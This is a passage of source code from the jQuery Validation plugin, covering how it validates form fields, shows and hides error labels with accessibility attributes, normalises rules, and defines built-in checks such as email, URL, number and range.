					this.name = $( this ).attr( "name" );
				}

				// Ignore the element if it belongs to another form. This will happen mainly
				// when setting the `form` attribute of an input to the id of another form.
				if ( currentForm !== this.form ) {
					return;
				}

				var validator = $.data( this.form, "validator" ),
					eventType = "on" + event.type.replace( /^validate/, "" ),
					settings = validator.settings;
				if ( settings[ eventType ] && !$( this ).is( settings.ignore ) ) {
					settings[ eventType ].call( validator, this, event );
				}
			}

			$( this.currentForm )
				.on( "focusin.validate focusout.validate keyup.validate",
					":text, [type='password'], [type='file'], select, textarea, [type='number'], [type='search'], " +
					"[type='tel'], [type='url'], [type='email'], [type='datetime'], [type='date'], [type='month'], " +
					"[type='week'], [type='time'], [type='datetime-local'], [type='range'], [type='color'], " +
					"[type='radio'], [type='checkbox'], [contenteditable], [type='button']", delegate )

				// Support: Chrome, oldIE
				// "select" is provided as event.target when clicking a option
				.on( "click.validate", "select, option, [type='radio'], [type='checkbox']", delegate );

			if ( this.settings.invalidHandler ) {
				$( this.currentForm ).on( "invalid-form.validate", this.settings.invalidHandler );
			}
		},

		// https://jqueryvalidation.org/Validator.form/
		form: function() {
			this.checkForm();
			$.extend( this.submitted, this.errorMap );
			this.invalid = $.extend( {}, this.errorMap );
			if ( !this.valid() ) {
				$( this.currentForm ).triggerHandler( "invalid-form", [ this ] );
			}
			this.showErrors();
			return this.valid();
		},

		checkForm: function() {
			this.prepareForm();
			for ( var i = 0, elements = ( this.currentElements = this.elements() ); elements[ i ]; i++ ) {
				this.check( elements[ i ] );
			}
			return this.valid();
		},

		// https://jqueryvalidation.org/Validator.element/
		element: function( element ) {
			var cleanElement = this.clean( element ),
				checkElement = this.validationTargetFor( cleanElement ),
				v = this,
				result = true,
				rs, group;

			if ( checkElement === undefined ) {
				delete this.invalid[ cleanElement.name ];
			} else {
				this.prepareElement( checkElement );
				this.currentElements = $( checkElement );

				// If this element is grouped, then validate all group elements already
				// containing a value
				group = this.groups[ checkElement.name ];
				if ( group ) {
					$.each( this.groups, function( name, testgroup ) {
						if ( testgroup === group && name !== checkElement.name ) {
							cleanElement = v.validationTargetFor( v.clean( v.findByName( name ) ) );
							if ( cleanElement && cleanElement.name in v.invalid ) {
								v.currentElements.push( cleanElement );
								result = v.check( cleanElement ) && result;
							}
						}
					} );
				}

				rs = this.check( checkElement ) !== false;
				result = result && rs;
				if ( rs ) {
					this.invalid[ checkElement.name ] = false;
				} else {
					this.invalid[ checkElement.name ] = true;
				}

				if ( !this.numberOfInvalids() ) {

					// Hide error containers on last error
					this.toHide = this.toHide.add( this.containers );
				}
				this.showErrors();

				// Add aria-invalid status for screen readers
				$( element ).attr( "aria-invalid", !rs );
			}

			return result;
		},

		// https://jqueryvalidation.org/Validator.showErrors/
		showErrors: function( errors ) {
			if ( errors ) {
				var validator = this;

				// Add items to error list and map
				$.extend( this.errorMap, errors );
				this.errorList = $.map( this.errorMap, function( message, name ) {
					return {
						message: message,
						element: validator.findByName( name )[ 0 ]
					};
				} );

				// Remove items from success list
				this.successList = $.grep( this.successList, function( element ) {
					return !( element.name in errors );
				} );
			}
			if ( this.settings.showErrors ) {
				this.settings.showErrors.call( this, this.errorMap, this.errorList );
			} else {
				this.defaultShowErrors();
			}
		},

		// https://jqueryvalidation.org/Validator.resetForm/
		resetForm: function() {
			if ( $.fn.resetForm ) {
				$( this.currentForm ).resetForm();
			}
			this.invalid = {};
			this.submitted = {};
			this.prepareForm();
			this.hideErrors();
			var elements = this.elements()
				.removeData( "previousValue" )
				.removeAttr( "aria-invalid" );

			this.resetElements( elements );
		},

		resetElements: function( elements ) {
			var i;

			if ( this.settings.unhighlight ) {
				for ( i = 0; elements[ i ]; i++ ) {
					this.settings.unhighlight.call( this, elements[ i ],
						this.settings.errorClass, "" );
					this.findByName( elements[ i ].name ).removeClass( this.settings.validClass );
				}
			} else {
				elements
					.removeClass( this.settings.errorClass )
					.removeClass( this.settings.validClass );
			}
		},

		numberOfInvalids: function() {
			return this.objectLength( this.invalid );
		},

		objectLength: function( obj ) {
			/* jshint unused: false */
			var count = 0,
				i;
			for ( i in obj ) {

				// This check allows counting elements with empty error
				// message as invalid elements
				if ( obj[ i ] !== undefined && obj[ i ] !== null && obj[ i ] !== false ) {
					count++;
				}
			}
			return count;
		},

		hideErrors: function() {
			this.hideThese( this.toHide );
		},

		hideThese: function( errors ) {
			errors.not( this.containers ).text( "" );
			this.addWrapper( errors ).hide();
		},

		valid: function() {
			return this.size() === 0;
		},

		size: function() {
			return this.errorList.length;
		},

		focusInvalid: function() {
			if ( this.settings.focusInvalid ) {
				try {
					$( this.findLastActive() || this.errorList.length && this.errorList[ 0 ].element || [] )
					.filter( ":visible" )
					.trigger( "focus" )

					// Manually trigger focusin event; without it, focusin handler isn't called, findLastActive won't have anything to find
					.trigger( "focusin" );
				} catch ( e ) {

					// Ignore IE throwing errors when focusing hidden elements
				}
			}
		},

		findLastActive: function() {
			var lastActive = this.lastActive;
			return lastActive && $.grep( this.errorList, function( n ) {
				return n.element.name === lastActive.name;
			} ).length === 1 && lastActive;
		},

		elements: function() {
			var validator = this,
				rulesCache = {};

			// Select all valid inputs inside the form (no submit or reset buttons)
			return $( this.currentForm )
			.find( "input, select, textarea, [contenteditable]" )
			.not( ":submit, :reset, :image, :disabled" )
			.not( this.settings.ignore )
			.filter( function() {
				var name = this.name || $( this ).attr( "name" ); // For contenteditable
				var isContentEditable = typeof $( this ).attr( "contenteditable" ) !== "undefined" && $( this ).attr( "contenteditable" ) !== "false";

				if ( !name && validator.settings.debug && window.console ) {
					console.error( "%o has no name assigned", this );
				}

				// Set form expando on contenteditable
				if ( isContentEditable ) {
					this.form = $( this ).closest( "form" )[ 0 ];
					this.name = name;
				}

				// Ignore elements that belong to other/nested forms
				if ( this.form !== validator.currentForm ) {
					return false;
				}

				// Select only the first element for each name, and only those with rules specified
				if ( name in rulesCache || !validator.objectLength( $( this ).rules() ) ) {
					return false;
				}

				rulesCache[ name ] = true;
				return true;
			} );
		},

		clean: function( selector ) {
			return $( selector )[ 0 ];
		},

		errors: function() {
			var errorClass = this.settings.errorClass.split( " " ).join( "." );
			return $( this.settings.errorElement + "." + errorClass, this.errorContext );
		},

		resetInternals: function() {
			this.successList = [];
			this.errorList = [];
			this.errorMap = {};
			this.toShow = $( [] );
			this.toHide = $( [] );
		},

		reset: function() {
			this.resetInternals();
			this.currentElements = $( [] );
		},

		prepareForm: function() {
			this.reset();
			this.toHide = this.errors().add( this.containers );
		},

		prepareElement: function( element ) {
			this.reset();
			this.toHide = this.errorsFor( element );
		},

		elementValue: function( element ) {
			var $element = $( element ),
				type = element.type,
				isContentEditable = typeof $element.attr( "contenteditable" ) !== "undefined" && $element.attr( "contenteditable" ) !== "false",
				val, idx;

			if ( type === "radio" || type === "checkbox" ) {
				return this.findByName( element.name ).filter( ":checked" ).val();
			} else if ( type === "number" && typeof element.validity !== "undefined" ) {
				return element.validity.badInput ? "NaN" : $element.val();
			}

			if ( isContentEditable ) {
				val = $element.text();
			} else {
				val = $element.val();
			}

			if ( type === "file" ) {

				// Modern browser (chrome & safari)
				if ( val.substr( 0, 12 ) === "C:\\fakepath\\" ) {
					return val.substr( 12 );
				}

				// Legacy browsers
				// Unix-based path
				idx = val.lastIndexOf( "/" );
				if ( idx >= 0 ) {
					return val.substr( idx + 1 );
				}

				// Windows-based path
				idx = val.lastIndexOf( "\\" );
				if ( idx >= 0 ) {
					return val.substr( idx + 1 );
				}

				// Just the file name
				return val;
			}

			if ( typeof val === "string" ) {
				return val.replace( /\r/g, "" );
			}
			return val;
		},

		check: function( element ) {
			element = this.validationTargetFor( this.clean( element ) );

			var rules = $( element ).rules(),
				rulesCount = $.map( rules, function( n, i ) {
					return i;
				} ).length,
				dependencyMismatch = false,
				val = this.elementValue( element ),
				result, method, rule, normalizer;

			// Abort any pending Ajax request from a previous call to this method.
			this.abortRequest( element );

			// Prioritize the local normalizer defined for this element over the global one
			// if the former exists, otherwise user the global one in case it exists.
			if ( typeof rules.normalizer === "function" ) {
				normalizer = rules.normalizer;
			} else if (	typeof this.settings.normalizer === "function" ) {
				normalizer = this.settings.normalizer;
			}

			// If normalizer is defined, then call it to retreive the changed value instead
			// of using the real one.
			// Note that `this` in the normalizer is `element`.
			if ( normalizer ) {
				val = normalizer.call( element, val );

				// Delete the normalizer from rules to avoid treating it as a pre-defined method.
				delete rules.normalizer;
			}

			for ( method in rules ) {
				rule = { method: method, parameters: rules[ method ] };
				try {
					result = $.validator.methods[ method ].call( this, val, element, rule.parameters );

					// If a method indicates that the field is optional and therefore valid,
					// don't mark it as valid when there are no other rules
					if ( result === "dependency-mismatch" && rulesCount === 1 ) {
						dependencyMismatch = true;
						continue;
					}
					dependencyMismatch = false;

					if ( result === "pending" ) {
						this.toHide = this.toHide.not( this.errorsFor( element ) );
						return;
					}

					if ( !result ) {
						this.formatAndAdd( element, rule );
						return false;
					}
				} catch ( e ) {
					if ( this.settings.debug && window.console ) {
						console.log( "Exception occurred when checking element " + element.id + ", check the '" + rule.method + "' method.", e );
					}
					if ( e instanceof TypeError ) {
						e.message += ".  Exception occurred when checking element " + element.id + ", check the '" + rule.method + "' method.";
					}

					throw e;
				}
			}
			if ( dependencyMismatch ) {
				return;
			}
			if ( this.objectLength( rules ) ) {
				this.successList.push( element );
			}
			return true;
		},

		// Return the custom message for the given element and validation method
		// specified in the element's HTML5 data attribute
		// return the generic message if present and no method specific message is present
		customDataMessage: function( element, method ) {
			return $( element ).data( "msg" + method.charAt( 0 ).toUpperCase() +
				method.substring( 1 ).toLowerCase() ) || $( element ).data( "msg" );
		},

		// Return the custom message for the given element name and validation method
		customMessage: function( name, method ) {
			var m = this.settings.messages[ name ];
			return m && ( m.constructor === String ? m : m[ method ] );
		},

		// Return the first defined argument, allowing empty strings
		findDefined: function() {
			for ( var i = 0; i < arguments.length; i++ ) {
				if ( arguments[ i ] !== undefined ) {
					return arguments[ i ];
				}
			}
			return undefined;
		},

		// The second parameter 'rule' used to be a string, and extended to an object literal
		// of the following form:
		// rule = {
		//     method: "method name",
		//     parameters: "the given method parameters"
		// }
		//
		// The old behavior still supported, kept to maintain backward compatibility with
		// old code, and will be removed in the next major release.
		defaultMessage: function( element, rule ) {
			if ( typeof rule === "string" ) {
				rule = { method: rule };
			}

			var message = this.findDefined(
					this.customMessage( element.name, rule.method ),
					this.customDataMessage( element, rule.method ),

					// 'title' is never undefined, so handle empty string as undefined
					!this.settings.ignoreTitle && element.title || undefined,
					$.validator.messages[ rule.method ],
					"<strong>Warning: No message defined for " + element.name + "</strong>"
				),
				theregex = /\$?\{(\d+)\}/g;
			if ( typeof message === "function" ) {
				message = message.call( this, rule.parameters, element );
			} else if ( theregex.test( message ) ) {
				message = $.validator.format( message.replace( theregex, "{$1}" ), rule.parameters );
			}

			return message;
		},

		formatAndAdd: function( element, rule ) {
			var message = this.defaultMessage( element, rule );

			this.errorList.push( {
				message: message,
				element: element,
				method: rule.method
			} );

			this.errorMap[ element.name ] = message;
			this.submitted[ element.name ] = message;
		},

		addWrapper: function( toToggle ) {
			if ( this.settings.wrapper ) {
				toToggle = toToggle.add( toToggle.parent( this.settings.wrapper ) );
			}
			return toToggle;
		},

		defaultShowErrors: function() {
			var i, elements, error;
			for ( i = 0; this.errorList[ i ]; i++ ) {
				error = this.errorList[ i ];
				if ( this.settings.highlight ) {
					this.settings.highlight.call( this, error.element, this.settings.errorClass, this.settings.validClass );
				}
				this.showLabel( error.element, error.message );
			}
			if ( this.errorList.length ) {
				this.toShow = this.toShow.add( this.containers );
			}
			if ( this.settings.success ) {
				for ( i = 0; this.successList[ i ]; i++ ) {
					this.showLabel( this.successList[ i ] );
				}
			}
			if ( this.settings.unhighlight ) {
				for ( i = 0, elements = this.validElements(); elements[ i ]; i++ ) {
					this.settings.unhighlight.call( this, elements[ i ], this.settings.errorClass, this.settings.validClass );
				}
			}
			this.toHide = this.toHide.not( this.toShow );
			this.hideErrors();
			this.addWrapper( this.toShow ).show();
		},

		validElements: function() {
			return this.currentElements.not( this.invalidElements() );
		},

		invalidElements: function() {
			return $( this.errorList ).map( function() {
				return this.element;
			} );
		},

		showLabel: function( element, message ) {
			var place, group, errorID, v,
				error = this.errorsFor( element ),
				elementID = this.idOrName( element ),
				describedBy = $( element ).attr( "aria-describedby" );

			if ( error.length ) {

				// Refresh error/success class
				error.removeClass( this.settings.validClass ).addClass( this.settings.errorClass );

				// Replace message on existing label
				if ( this.settings && this.settings.escapeHtml ) {
					error.text( message || "" );
				} else {
					error.html( message || "" );
				}
			} else {

				// Create error element
				error = $( "<" + this.settings.errorElement + ">" )
					.attr( "id", elementID + "-error" )
					.addClass( this.settings.errorClass );

				if ( this.settings && this.settings.escapeHtml ) {
					error.text( message || "" );
				} else {
					error.html( message || "" );
				}

				// Maintain reference to the element to be placed into the DOM
				place = error;
				if ( this.settings.wrapper ) {

					// Make sure the element is visible, even in IE
					// actually showing the wrapped element is handled elsewhere
					place = error.hide().show().wrap( "<" + this.settings.wrapper + "/>" ).parent();
				}
				if ( this.labelContainer.length ) {
					this.labelContainer.append( place );
				} else if ( this.settings.errorPlacement ) {
					this.settings.errorPlacement.call( this, place, $( element ) );
				} else {
					place.insertAfter( element );
				}

				// Link error back to the element
				if ( error.is( "label" ) ) {

					// If the error is a label, then associate using 'for'
					error.attr( "for", elementID );

					// If the element is not a child of an associated label, then it's necessary
					// to explicitly apply aria-describedby
				} else if ( error.parents( "label[for='" + this.escapeCssMeta( elementID ) + "']" ).length === 0 ) {
					errorID = error.attr( "id" );

					// Respect existing non-error aria-describedby
					if ( !describedBy ) {
						describedBy = errorID;
					} else if ( !describedBy.match( new RegExp( "\\b" + this.escapeCssMeta( errorID ) + "\\b" ) ) ) {

						// Add to end of list if not already present
						describedBy += " " + errorID;
					}
					$( element ).attr( "aria-describedby", describedBy );

					// If this element is grouped, then assign to all elements in the same group
					group = this.groups[ element.name ];
					if ( group ) {
						v = this;
						$.each( v.groups, function( name, testgroup ) {
							if ( testgroup === group ) {
								$( "[name='" + v.escapeCssMeta( name ) + "']", v.currentForm )
									.attr( "aria-describedby", error.attr( "id" ) );
							}
						} );
					}
				}
			}
			if ( !message && this.settings.success ) {
				error.text( "" );
				if ( typeof this.settings.success === "string" ) {
					error.addClass( this.settings.success );
				} else {
					this.settings.success( error, element );
				}
			}
			this.toShow = this.toShow.add( error );
		},

		errorsFor: function( element ) {
			var name = this.escapeCssMeta( this.idOrName( element ) ),
				describer = $( element ).attr( "aria-describedby" ),
				selector = "label[for='" + name + "'], label[for='" + name + "'] *";

			// 'aria-describedby' should directly reference the error element
			if ( describer ) {
				selector = selector + ", #" + this.escapeCssMeta( describer )
					.replace( /\s+/g, ", #" );
			}

			return this
				.errors()
				.filter( selector );
		},

		// See https://api.jquery.com/category/selectors/, for CSS
		// meta-characters that should be escaped in order to be used with JQuery
		// as a literal part of a name/id or any selector.
		escapeCssMeta: function( string ) {
			if ( string === undefined ) {
				return "";
			}

			return string.replace( /([\\!"#$%&'()*+,./:;<=>?@\[\]^`{|}~])/g, "\\$1" );
		},

		idOrName: function( element ) {
			return this.groups[ element.name ] || ( this.checkable( element ) ? element.name : element.id || element.name );
		},

		validationTargetFor: function( element ) {

			// If radio/checkbox, validate first element in group instead
			if ( this.checkable( element ) ) {
				element = this.findByName( element.name );
			}

			// Always apply ignore filter
			return $( element ).not( this.settings.ignore )[ 0 ];
		},

		checkable: function( element ) {
			return ( /radio|checkbox/i ).test( element.type );
		},

		findByName: function( name ) {
			return $( this.currentForm ).find( "[name='" + this.escapeCssMeta( name ) + "']" );
		},

		getLength: function( value, element ) {
			switch ( element.nodeName.toLowerCase() ) {
			case "select":
				return $( "option:selected", element ).length;
			case "input":
				if ( this.checkable( element ) ) {
					return this.findByName( element.name ).filter( ":checked" ).length;
				}
			}
			return value.length;
		},

		depend: function( param, element ) {
			return this.dependTypes[ typeof param ] ? this.dependTypes[ typeof param ]( param, element ) : true;
		},

		dependTypes: {
			"boolean": function( param ) {
				return param;
			},
			"string": function( param, element ) {
				return !!$( param, element.form ).length;
			},
			"function": function( param, element ) {
				return param( element );
			}
		},

		optional: function( element ) {
			var val = this.elementValue( element );
			return !$.validator.methods.required.call( this, val, element ) && "dependency-mismatch";
		},

		elementAjaxPort: function( element ) {
			return "validate" + element.name;
		},

		startRequest: function( element ) {
			if ( !this.pending[ element.name ] ) {
				this.pendingRequest++;
				$( element ).addClass( this.settings.pendingClass );
				this.pending[ element.name ] = true;
			}
		},

		stopRequest: function( element, valid ) {
			this.pendingRequest--;

			// Sometimes synchronization fails, make sure pendingRequest is never < 0
			if ( this.pendingRequest < 0 ) {
				this.pendingRequest = 0;
			}
			delete this.pending[ element.name ];
			$( element ).removeClass( this.settings.pendingClass );
			if ( valid && this.pendingRequest === 0 && this.formSubmitted && this.form() && this.pendingRequest === 0 ) {
				$( this.currentForm ).trigger( "submit" );

				// Remove the hidden input that was used as a replacement for the
				// missing submit button. The hidden input is added by `handle()`
				// to ensure that the value of the used submit button is passed on
				// for scripted submits triggered by this method
				if ( this.submitButton ) {
					$( "input:hidden[name='" + this.submitButton.name + "']", this.currentForm ).remove();
				}

				this.formSubmitted = false;
			} else if ( !valid && this.pendingRequest === 0 && this.formSubmitted ) {
				$( this.currentForm ).triggerHandler( "invalid-form", [ this ] );
				this.formSubmitted = false;
			}
		},

		abortRequest: function( element ) {
			var port;

			if ( this.pending[ element.name ] ) {
				port = this.elementAjaxPort( element );
				$.ajaxAbort( port );

				this.pendingRequest--;

				// Sometimes synchronization fails, make sure pendingRequest is never < 0
				if ( this.pendingRequest < 0 ) {
					this.pendingRequest = 0;
				}

				delete this.pending[ element.name ];
				$( element ).removeClass( this.settings.pendingClass );
			}
		},

		previousValue: function( element, method ) {
			method = typeof method === "string" && method || "remote";

			return $.data( element, "previousValue" ) || $.data( element, "previousValue", {
				old: null,
				valid: true,
				message: this.defaultMessage( element, { method: method } )
			} );
		},

		// Cleans up all forms and elements, removes validator-specific events
		destroy: function() {
			this.resetForm();

			$( this.currentForm )
				.off( ".validate" )
				.removeData( "validator" )
				.find( ".validate-equalTo-blur" )
					.off( ".validate-equalTo" )
					.removeClass( "validate-equalTo-blur" )
				.find( ".validate-lessThan-blur" )
					.off( ".validate-lessThan" )
					.removeClass( "validate-lessThan-blur" )
				.find( ".validate-lessThanEqual-blur" )
					.off( ".validate-lessThanEqual" )
					.removeClass( "validate-lessThanEqual-blur" )
				.find( ".validate-greaterThanEqual-blur" )
					.off( ".validate-greaterThanEqual" )
					.removeClass( "validate-greaterThanEqual-blur" )
				.find( ".validate-greaterThan-blur" )
					.off( ".validate-greaterThan" )
					.removeClass( "validate-greaterThan-blur" );
		}

	},

	classRuleSettings: {
		required: { required: true },
		email: { email: true },
		url: { url: true },
		date: { date: true },
		dateISO: { dateISO: true },
		number: { number: true },
		digits: { digits: true },
		creditcard: { creditcard: true }
	},

	addClassRules: function( className, rules ) {
		if ( className.constructor === String ) {
			this.classRuleSettings[ className ] = rules;
		} else {
			$.extend( this.classRuleSettings, className );
		}
	},

	classRules: function( element ) {
		var rules = {},
			classes = $( element ).attr( "class" );

		if ( classes ) {
			$.each( classes.split( " " ), function() {
				if ( this in $.validator.classRuleSettings ) {
					$.extend( rules, $.validator.classRuleSettings[ this ] );
				}
			} );
		}
		return rules;
	},

	normalizeAttributeRule: function( rules, type, method, value ) {

		// Convert the value to a number for number inputs, and for text for backwards compability
		// allows type="date" and others to be compared as strings
		if ( /min|max|step/.test( method ) && ( type === null || /number|range|text/.test( type ) ) ) {
			value = Number( value );

			// Support Opera Mini, which returns NaN for undefined minlength
			if ( isNaN( value ) ) {
				value = undefined;
			}
		}

		if ( value || value === 0 ) {
			rules[ method ] = value;
		} else if ( type === method && type !== "range" ) {

			// Exception: the jquery validate 'range' method
			// does not test for the html5 'range' type
			rules[ type === "date" ? "dateISO" : method ] = true;
		}
	},

	attributeRules: function( element ) {
		var rules = {},
			$element = $( element ),
			type = element.getAttribute( "type" ),
			method, value;

		for ( method in $.validator.methods ) {

			// Support for <input required> in both html5 and older browsers
			if ( method === "required" ) {
				value = element.getAttribute( method );

				// Some browsers return an empty string for the required attribute
				// and non-HTML5 browsers might have required="" markup
				if ( value === "" ) {
					value = true;
				}

				// Force non-HTML5 browsers to return bool
				value = !!value;
			} else {
				value = $element.attr( method );
			}

			this.normalizeAttributeRule( rules, type, method, value );
		}

		// 'maxlength' may be returned as -1, 2147483647 ( IE ) and 524288 ( safari ) for text inputs
		if ( rules.maxlength && /-1|2147483647|524288/.test( rules.maxlength ) ) {
			delete rules.maxlength;
		}

		return rules;
	},

	dataRules: function( element ) {
		var rules = {},
			$element = $( element ),
			type = element.getAttribute( "type" ),
			method, value;

		for ( method in $.validator.methods ) {
			value = $element.data( "rule" + method.charAt( 0 ).toUpperCase() + method.substring( 1 ).toLowerCase() );

			// Cast empty attributes like `data-rule-required` to `true`
			if ( value === "" ) {
				value = true;
			}

			this.normalizeAttributeRule( rules, type, method, value );
		}
		return rules;
	},

	staticRules: function( element ) {
		var rules = {},
			validator = $.data( element.form, "validator" );

		if ( validator.settings.rules ) {
			rules = $.validator.normalizeRule( validator.settings.rules[ element.name ] ) || {};
		}
		return rules;
	},

	normalizeRules: function( rules, element ) {

		// Handle dependency check
		$.each( rules, function( prop, val ) {

			// Ignore rule when param is explicitly false, eg. required:false
			if ( val === false ) {
				delete rules[ prop ];
				return;
			}
			if ( val.param || val.depends ) {
				var keepRule = true;
				switch ( typeof val.depends ) {
				case "string":
					keepRule = !!$( val.depends, element.form ).length;
					break;
				case "function":
					keepRule = val.depends.call( element, element );
					break;
				}
				if ( keepRule ) {
					rules[ prop ] = val.param !== undefined ? val.param : true;
				} else {
					$.data( element.form, "validator" ).resetElements( $( element ) );
					delete rules[ prop ];
				}
			}
		} );

		// Evaluate parameters
		$.each( rules, function( rule, parameter ) {
			rules[ rule ] = typeof parameter === "function" && rule !== "normalizer" ? parameter( element ) : parameter;
		} );

		// Clean number parameters
		$.each( [ "minlength", "maxlength" ], function() {
			if ( rules[ this ] ) {
				rules[ this ] = Number( rules[ this ] );
			}
		} );
		$.each( [ "rangelength", "range" ], function() {
			var parts;
			if ( rules[ this ] ) {
				if ( Array.isArray( rules[ this ] ) ) {
					rules[ this ] = [ Number( rules[ this ][ 0 ] ), Number( rules[ this ][ 1 ] ) ];
				} else if ( typeof rules[ this ] === "string" ) {
					parts = rules[ this ].replace( /[\[\]]/g, "" ).split( /[\s,]+/ );
					rules[ this ] = [ Number( parts[ 0 ] ), Number( parts[ 1 ] ) ];
				}
			}
		} );

		if ( $.validator.autoCreateRanges ) {

			// Auto-create ranges
			if ( rules.min != null && rules.max != null ) {
				rules.range = [ rules.min, rules.max ];
				delete rules.min;
				delete rules.max;
			}
			if ( rules.minlength != null && rules.maxlength != null ) {
				rules.rangelength = [ rules.minlength, rules.maxlength ];
				delete rules.minlength;
				delete rules.maxlength;
			}
		}

		return rules;
	},

	// Converts a simple string to a {string: true} rule, e.g., "required" to {required:true}
	normalizeRule: function( data ) {
		if ( typeof data === "string" ) {
			var transformed = {};
			$.each( data.split( /\s/ ), function() {
				transformed[ this ] = true;
			} );
			data = transformed;
		}
		return data;
	},

	// https://jqueryvalidation.org/jQuery.validator.addMethod/
	addMethod: function( name, method, message ) {
		$.validator.methods[ name ] = method;
		$.validator.messages[ name ] = message !== undefined ? message : $.validator.messages[ name ];
		if ( method.length < 3 ) {
			$.validator.addClassRules( name, $.validator.normalizeRule( name ) );
		}
	},

	// https://jqueryvalidation.org/jQuery.validator.methods/
	methods: {

		// https://jqueryvalidation.org/required-method/
		required: function( value, element, param ) {

			// Check if dependency is met
			if ( !this.depend( param, element ) ) {
				return "dependency-mismatch";
			}
			if ( element.nodeName.toLowerCase() === "select" ) {

				// Could be an array for select-multiple or a string, both are fine this way
				var val = $( element ).val();
				return val && val.length > 0;
			}
			if ( this.checkable( element ) ) {
				return this.getLength( value, element ) > 0;
			}
			return value !== undefined && value !== null && value.length > 0;
		},

		// https://jqueryvalidation.org/email-method/
		email: function( value, element ) {

			// From https://html.spec.whatwg.org/multipage/forms.html#valid-e-mail-address
			// Retrieved 2014-01-14
			// If you have a problem with this implementation, report a bug against the above spec
			// Or use custom methods to implement your own email validation
			return this.optional( element ) || /^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/.test( value );
		},

		// https://jqueryvalidation.org/url-method/
		url: function( value, element ) {

			// Copyright (c) 2010-2013 Diego Perini, MIT licensed
			// https://gist.github.com/dperini/729294
			// see also https://mathiasbynens.be/demo/url-regex
			// modified to allow protocol-relative URLs
			return this.optional( element ) || /^(?:(?:(?:https?|ftp):)?\/\/)(?:(?:[^\]\[?\/<~#`!@$^&*()+=}|:";',>{ ]|%[0-9A-Fa-f]{2})+(?::(?:[^\]\[?\/<~#`!@$^&*()+=}|:";',>{ ]|%[0-9A-Fa-f]{2})*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z0-9\u00a1-\uffff][a-z0-9\u00a1-\uffff_-]{0,62})?[a-z0-9\u00a1-\uffff]\.)+(?:[a-z\u00a1-\uffff]{2,}\.?))(?::\d{2,5})?(?:[/?#]\S*)?$/i.test( value );
		},

		// https://jqueryvalidation.org/date-method/
		date: ( function() {
			var called = false;

			return function( value, element ) {
				if ( !called ) {
					called = true;
					if ( this.settings.debug && window.console ) {
						console.warn(
							"The `date` method is deprecated and will be removed in version '2.0.0'.\n" +
							"Please don't use it, since it relies on the Date constructor, which\n" +
							"behaves very differently across browsers and locales. Use `dateISO`\n" +
							"instead or one of the locale specific methods in `localizations/`\n" +
							"and `additional-methods.js`."
						);
					}
				}

				return this.optional( element ) || !/Invalid|NaN/.test( new Date( value ).toString() );
			};
		}() ),

		// https://jqueryvalidation.org/dateISO-method/
		dateISO: function( value, element ) {
			return this.optional( element ) || /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/.test( value );
		},

		// https://jqueryvalidation.org/number-method/
		number: function( value, element ) {
			return this.optional( element ) || /^(?:-?\d+|-?\d{1,3}(?:,\d{3})+)?(?:\.\d+)?$/.test( value );
		},

		// https://jqueryvalidation.org/digits-method/
		digits: function( value, element ) {
			return this.optional( element ) || /^\d+$/.test( value );
		},

		// https://jqueryvalidation.org/minlength-method/
		minlength: function( value, element, param ) {
			var length = Array.isArray( value ) ? value.length : this.getLength( value, element );
			return this.optional( element ) || length >= param;
		},

		// https://jqueryvalidation.org/maxlength-method/
		maxlength: function( value, element, param ) {
			var length = Array.isArray( value ) ? value.length : this.getLength( value, element );
			return this.optional( element ) || length <= param;
		},

		// https://jqueryvalidation.org/rangelength-method/
		rangelength: function( value, element, param ) {
			var length = Array.isArray( value ) ? value.length : this.getLength( value, element );
			return this.optional( element ) || ( length >= param[ 0 ] && length <= param[ 1 ] );
		},

		// https://jqueryvalidation.org/min-method/
		min: function( value, element, param ) {
			return this.optional( element ) || value >= param;
		},

		// https://jqueryvalidation.org/max-method/
		max: function( value, element, param ) {
			return this.optional( element ) || value <= param;
		},

		// https://jqueryvalidation.org/range-method/
		range: function( value, element, param ) {
			return this.optional( element ) || ( value >= param[ 0 ] && value <= param[ 1 ] );
		},

		// https://jqueryvalidation.org/step-method/
		step: function( value, element, param ) {
			var type = $( element ).attr( "type" ),
				errorMessage = "Step attribute on input type " + type + " is not supported.",
				supportedTypes = [ "text", "number", "range" ],
				re = new RegExp( "\\b" + type + "\\b" ),
				notSupported = type && !re.test( supportedTypes.join() ),
				decimalPlaces = function( num ) {
					var match = ( "" + num ).match( /(?:\.(\d+))?$/ );
					if ( !match ) {
						return 0;
					}

					// Number of digits right of decimal point.
					return match[ 1 ] ? match[ 1 ].length : 0;
				},
				toInt = function( num ) {
					return Math.round( num * Math.pow( 10, decimals ) );
				},
				valid = true,
				decimals;

			// Works only for text, number and range input types
			// TODO find a way to support input types date, datetime, datetime-local, month, time and week
			if ( notSupported ) {
				throw new Error( errorMessage );
			}

			decimals = decimalPlaces( param );

			// Value can't have too many decimals
			if ( decimalPlaces( value ) > decimals || toInt( value ) % toInt( param ) !== 0 ) {
				valid = false;
			}

			return this.optional( element ) || valid;
		},

		// https://jqueryvalidation.org/equalTo-method/
		equalTo: function( value, element, param ) {

			// Bind to the blur event of the target in order to revalidate whenever the target field is updated
			var target = $( param );
			if ( this.settings.onfocusout && target.not( ".validate-equalTo-blur" ).length ) {
				target.addClass( "validate-equalTo-blur" ).on( "blur.validate-equalTo", function() {
					$( element ).valid();
				} );
			}
			return value === target.val();
		},

		// https://jqueryvalidation.org/remote-method/
		remote: function( value, element, param, method ) {
			if ( this.optional( element ) ) {
				return "dependency-mismatch";
			}

			method = typeof method === "string" && method || "remote";

			var previous = this.previousValue( element, method ),
				validator, data, optionDataString;

			if ( !this.settings.messages[ element.name ] ) {
				this.settings.messages[ element.name ] = {};
			}
			previous.originalMessage = previous.originalMessage || this.settings.messages[ element.name ][ method ];
			this.settings.messages[ element.name ][ method ] = previous.message;

			param = typeof param === "string" && { url: param } || param;
			optionDataString = $.param( $.extend( { data: value }, param.data ) );
